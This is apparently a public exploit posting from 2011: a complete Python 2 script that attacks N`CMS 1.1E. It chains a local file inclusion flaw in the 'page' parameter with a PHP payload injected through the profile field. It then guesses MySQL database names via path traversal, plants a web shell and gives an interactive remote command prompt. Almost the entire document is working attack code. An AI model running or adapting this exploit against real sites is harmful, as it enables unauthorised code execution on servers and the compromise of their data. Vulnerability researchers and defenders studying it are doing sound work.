N`CMS 1.1E Pre-Auth Local File Inclusion Remote Code Exploit

2011-03-11 19:15:17

#!/usr/bin/python
# ~INFORMATION
# Exploit Title: N`CMS 1.1E Pre-Auth Local File Inclusion Remote Code Exploit
# Date: 11/3/2011
# Software link: http://bit.ly/eJAyw5
# Tested on: Linux bt
# Version: 1.1E
# PHP.ini Settings: gpc_magic_quotes = Off

# Note: The web application was lucky to not be exploited by session
# injection with a malicious username example <?php system($_GET[cmd])>
# as htmlentities() encoded the bracket :-)

# ~VULNERABLE CODE
'''
<?php
if( isset( $_GET['page'] ) )
{
if( file_exists( 'page/'.$_GET['page'].'.php' ) )
{
include( 'page/'.$_GET['page'].'.php' );
}
else
{
include( 'page/404.php' );
}
}
else
{
include( 'page/home.php' );
}
?>
'''
import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass
from optparse import OptionParser
from urlparse import urlparse,urljoin
from urllib import urlopen
from cookielib import CookieJar

__CONTACT__ ="TecR0c([email protected])"
__DATE__ ="11.3.2011"

usage = 'Example : %s http://localhost/ncms/ -c user:pass -w databases.txt -p 127.0.0.1:8080' % __file__
parser = OptionParser(usage=usage)
parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",
help="HTTP Proxy <server>:<port>")
parser.add_option("-w","--wordlist", type="string",action="store", dest="wordlist",
help="file to use to bruteforce database")
parser.add_option("-c","--credentials", type="string",action="store", dest="credentials",default="hacker:ph33r",
help="credentials for login, "
"or [default: %default]")

(options, args) = parser.parse_args()

if options.proxy:
print '[+] Using Proxy'+options.proxy

# User Agents
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
"Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
"Google Chrome 0.2.149.29 (Windows XP)",
"Opera 9.25 (Windows Vista)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
"Opera/8.00 (Windows NT 5.1; U; en)"]
agent = random.choice(agents)

traversal = './../../../../../../../..'

def banner():
if os.name == "posix":
os.system("clear")
else:
os.system("cls")
header = '''
|----------------------------------------|
|Exploit: N'CMS LFI RCE
|Author: %s
|Date: %s
|----------------------------------------|\n
'''%(__CONTACT__,__DATE__)
for i in header:
print "\b%s"%i,
sys.stdout.flush()
time.sleep(0.005)

def proxyCheck():
if options.proxy:
try:
h2 = httplib.HTTPConnection(options.proxy)
h2.connect()
print "[+] Using Proxy Server:",options.proxy
except(socket.timeout):
print "[-] Proxy Timed Out\n"
pass
sys.exit(1)
except(NameError):
print "[-] Proxy Not Given\n"
pass
sys.exit(1)
except:
print "[-] Proxy Failed\n"
pass
sys.exit(1)

def getProxy():
try:
proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
except(socket.timeout):
print "\n[-] Proxy Timed Out"
sys.exit(1)
return proxy_handler

cj = CookieJar()
if options.proxy:
opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
else:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [('User-agent', agent)]

def registerUser():
webSiteUrl = url.geturl()+"?page=register"
parameters = {'login' : username,'password': password,'password2' : password,'email' : '[email protected]',
'register' : '+Enregistrer+'}
encodedParameters = urllib.urlencode(parameters)
try:
opener.open(webSiteUrl, encodedParameters).read()
except:
print '[-] Failed'
sys.exit()
print '[+] Created User, '+username

def edit_profile():
webSiteUrl = url.geturl()+"?page=edit_profil"
parameters = { 'User-Agent' : agent,
'profil' : '<?php system(base64_decode($_REQUEST["cmd"]));?>','edit_profil' : '+Enregistrer+'}
encodedParameters = urllib.urlencode(parameters)
try:
response = opener.open(webSiteUrl, encodedParameters).read()
except:
print '[-] Failed'
sys.exit()
print '[+] Added Payload To Page'

def login():
""" Add php payload to database """
webSiteUrl = url.geturl()+"?page=register"
parameters = {'login' : username,'password' : password,'actplayer' : 'login'}
encodedParameters = urllib.urlencode(parameters)
try:
opener.open(webSiteUrl, encodedParameters).read()
except:
print '[-] Failed'
sys.exit()
print '[+] Authenticated To Website'

def traversalCmd(encodedCommand,database):
webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"
parameters = {'cmd' : encodedCommand}
encodedParameters = urllib.urlencode(parameters)
try:
opener.open(webSiteUrl, encodedParameters).read()
except:
print '[-] Failed'
sys.exit()

def postRequestWebShell(encodedCommand):
webSiteUrl = url.geturl()+'.shell.php'
commandToExecute = [
('cmd',encodedCommand)]
cmdData = urllib.urlencode(commandToExecute)
try:
response = opener.open(webSiteUrl, cmdData).read()
except:
print '[-] Failed'
sys.exit()
return response

def fileCheck():
webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/mysql_upgrade_info%00"
try:
response = opener.open(webSiteUrl).read()
except:
print '[-] Failed'
sys.exit()
doesntExist = re.compile(r"Erreur 404")
findAnswer = doesntExist.search(response)
if findAnswer:
"[-] Can Not Use This Techinque"
sys.exit()

def bruteForceDatabase():
try:
databases = open(options.wordlist, "r").readlines()
print "[+] Length Of Wordlist: "+str(len(databases))
except(IOError):
print "[-] Error: Check Your Wordlist Path\n"
sys.exit(1)
for database in databases:
database = database.replace("\r","").replace("\n","")
webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"
print '[X] Testing Database Name: '+database
try:
response = opener.open(webSiteUrl).read()
except urllib2.HTTPError, error:
print '[-] Failed'
payload = re.compile(r"Erreur 404")
findPayload = payload.search(response)
if not findPayload:
print '[+] Found Database: '+database+'\n'
commandLine(database)

def commandLine(database):
encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"
encodedCommand = base64.b64encode(encodedCommand)
traversalCmd(encodedCommand,database)
commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)
while True:
try:
command = raw_input(commandLine)
encodedCommand = base64.b64encode(command)
response = postRequestWebShell(encodedCommand)
print response
except KeyboardInterrupt:
encodedCommand = base64.b64encode('rm .shell.php')
postRequestWebShell(encodedCommand)
print "\n[!] Removed .shell.php\n"
sys.exit()

if "__main__" == __name__:
banner()
try:
url=urlparse(args[0])
except:
parser.print_help()
sys.exit()
getProxy()
username, password = options.credentials.split(':')
proxyCheck()
registerUser()
login()
edit_profile()
fileCheck()
bruteForceDatabase()

Fixes

No fixes

In order to submit a new fix you need to be registered.